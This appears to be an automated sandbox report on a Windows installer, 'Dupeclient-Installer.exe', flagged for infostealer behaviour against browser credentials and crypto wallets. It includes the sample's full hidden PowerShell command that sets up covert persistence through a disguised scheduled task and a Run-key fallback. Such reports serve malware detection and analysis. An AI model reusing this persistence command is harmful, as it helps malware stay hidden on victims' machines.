Analysis
- user interaction
yes - max time kernel
69s - max time network
67s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
30/10/2026, 12:53
General
- Target Dupeclient-Installer.exe
- Size 8.8MB
- Sample261030-p4rtract8v
- SHA256 727cb8ee18e013ae9b47691e23c9d2f3b097bb76960c92cde21c83be678fd88e
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 4 IoCs
- Loads dropped DLL 27 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Inno Setup is an open-source installation builder for Windows applications. 5 IoCs
Inno Setup installer
- Suspicious behavior: EnumeratesProcesses 20 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Dupeclient-Installer.exe"C:\Users\Admin\AppData\Local\Temp\Dupeclient-Installer.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-ZLLUQ4L8Q4.tmp\Dupeclient-Installer.tmp"C:\Users\Admin\AppData\Local\Temp\is-ZLLUQ4L8Q4.tmp\Dupeclient-Installer.tmp" /SL5="$90286,8023896,893952,C:\Users\Admin\AppData\Local\Temp\Dupeclient-Installer.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\Dupeclient-Installer.exe" "C:\Users\Admin\AppData\Local\Temp\is-I3VS34OZFN.tmp\Dupeclient-Setup.exe"3⤵
- Executes a command shell one-liner
-
-
C:\Users\Admin\AppData\Local\Temp\is-I3VS34OZFN.tmp\Dupeclient-Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-I3VS34OZFN.tmp\Dupeclient-Setup.exe" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /NORESTORE3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-9FCILJ5L1D.tmp\Dupeclient-Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-9FCILJ5L1D.tmp\Dupeclient-Setup.tmp" /SL5="$D01D8,8023896,893952,C:\Users\Admin\AppData\Local\Temp\is-I3VS34OZFN.tmp\Dupeclient-Setup.exe" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /NORESTORE4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Client Runtime Process\Client Runtime Process.exe"C:\Users\Admin\AppData\Local\Client Runtime Process\Client Runtime Process.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NoLogo -ExecutionPolicy Bypass -NonInteractive -WindowStyle Hidden -Command "& { $u=[Environment]::UserName; $exe='C:\Users\Admin\AppData\Local\Client Runtime Process\Client Runtime Process.exe'; $task='{9F3A7C21-4B6D-4E8F-A1C2-7D5E0F9B3A12}'; $runKey='HKCU:\Software\Microsoft\Windows\CurrentVersion\Run'; foreach($l in 'SysUpdate') { try { Unregister-ScheduledTask -TaskName $l -Confirm:$false -EA SilentlyContinue } catch {} }; try { Unregister-ScheduledTask -TaskName $task -Confirm:$false -EA SilentlyContinue } catch {}; $settings=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew -ExecutionTimeLimit ([TimeSpan]::Zero) -Compatibility Win8; $action=New-ScheduledTaskAction -Execute $exe; $trigger=New-ScheduledTaskTrigger -AtLogOn -User $u; $principal=New-ScheduledTaskPrincipal -UserId $u -LogonType Interactive -RunLevel Limited; Register-ScheduledTask -TaskName $task -Action $action -Trigger $trigger -Settings $settings -Principal $principal -Description 'System update service' -Force -EA SilentlyContinue | Out-Null; foreach($n in 'SysUpdate', 'Client Runtime Process', 'Client Runtime Proccess') { try { Remove-ItemProperty -LiteralPath $runKey -Name $n -EA SilentlyContinue } catch {} }; $t=Get-ScheduledTask -TaskName $task -EA SilentlyContinue; $ok=(($t -ne $null) -and (($t.Actions[0].Execute -eq $exe) -or ($t.Actions[0].Execute -eq ('\"' + $exe + '\"')))); if (-not $ok) { try { New-ItemProperty -LiteralPath $runKey -Name $task -Value ('\"' + $exe + '\"') -PropertyType String -Force -EA SilentlyContinue } catch {} }; if ($ok) { 'OK_TASK' } elseif ([bool](Get-ItemProperty -LiteralPath $runKey -Name $task -EA SilentlyContinue)) { 'OK_RUNKEY' } else { 'FAIL' } }"6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
Loading Replay Monitor...
Downloads
Client Runtime Process.exe
_socket.pyd
_ssl.pyd
__init__.pyc
abc.pyc
__init__.pyc
_encoded_words.pyc
_parseaddr.pyc
_policybase.pyc
base64mime.pyc
charset.pyc
encoders.pyc
errors.pyc
feedparser.pyc
header.pyc
iterators.pyc
message.pyc
parser.pyc
quoprimime.pyc
utils.pyc
__init__.pyc
aliases.pyc
cp1252.pyc
utf_8.pyc
__init__.pyc
client.pyc
__init__.pyc
_abc.pyc
util.pyc
libcrypto-1_1.dll
library.dat
library.zip
libssl-1_1.dll
__init__.pyc
__init__.pyc
select.pyd
__init__.pyc
_base_connection.pyc
exceptions.pyc
__init__.pyc
connection.pyc
request.pyc
response.pyc
retry.pyc
ssl_.pyc
timeout.pyc
util.pyc
__init__.pyc
parse.pyc
python3.dll
python310.dll
__PSScriptPolicyTest_qmltnrwo.w53.ps1
Dupeclient-Setup.exe
Dupeclient-Installer.tmp
memory/968-0-0x0000000000CB0000-0x0000000000D99000-memory.dmp
memory/968-20-0x0000000000CB0000-0x0000000000D99000-memory.dmp
memory/1956-2154-0x000002226ABF0000-0x000002226AC12000-memory.dmp
memory/3512-2128-0x00000000005A0000-0x0000000000689000-memory.dmp
memory/3512-12-0x00000000005A0000-0x0000000000689000-memory.dmp
memory/4280-19-0x0000000001880000-0x0000000001881000-memory.dmp
memory/4280-2117-0x0000000000B80000-0x0000000000FCC000-memory.dmp
memory/5160-5-0x0000000000A70000-0x0000000000A71000-memory.dmp
memory/5160-17-0x0000000000B30000-0x0000000000F7C000-memory.dmp